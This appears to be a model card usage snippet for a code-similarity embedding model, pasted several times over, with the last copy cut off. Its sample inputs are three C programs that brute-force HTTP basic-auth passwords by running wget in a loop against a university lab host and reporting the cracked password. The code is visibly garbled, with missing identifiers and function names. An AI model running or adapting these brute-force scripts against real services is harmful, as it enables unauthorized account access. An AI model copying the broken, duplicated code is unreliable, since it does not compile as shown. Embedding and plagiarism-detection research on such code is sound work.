    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} 